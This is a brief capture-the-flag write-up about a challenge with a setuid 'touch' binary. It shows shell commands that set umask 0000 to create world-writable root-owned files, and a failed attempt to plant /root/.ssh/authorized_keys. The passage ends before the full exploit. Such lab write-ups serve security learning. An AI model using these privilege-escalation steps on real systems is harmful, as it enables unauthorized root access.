Push me, and then just touch me, till I can get my, Satisfaction!
Solution
We are given a netcat port to connect to and are dropped to reverse shell looking shell. From start we are in / directory, but we can quickly find ourselves in /home/ctf with touch symlink which points to suid bit touch binary.
Turns out we can modify the mask and create file that have write permissions by all
Touch doesn't allow recreating files, only creating. This means we can't overwrite the existing files like /etc/passwd to gain write permissions and root doesn't seem to have .ssh directory :/
ctf@ng-932570-misctouchmp-xedvo-5894b48d9d-f7crn:~$ umask 0000
ctf@ng-932570-misctouchmp-xedvo-5894b48d9d-f7crn:~$ ./touch /tmp/sadf2
ctf@ng-932570-misctouchmp-xedvo-5894b48d9d-f7crn:~$ ls /tmp/sadf2 -alh
-rw-rw-rw- 1 root root 0 Aug 23 07:17 /tmp/sadf2
ctf@ng-932570-misctouchmp-xedvo-5894b48d9d-f7crn:~$ ./touch /root/.ssh/authorized_keys
./touch: cannot touch '/root/.ssh/authorized_keys': No such file or directory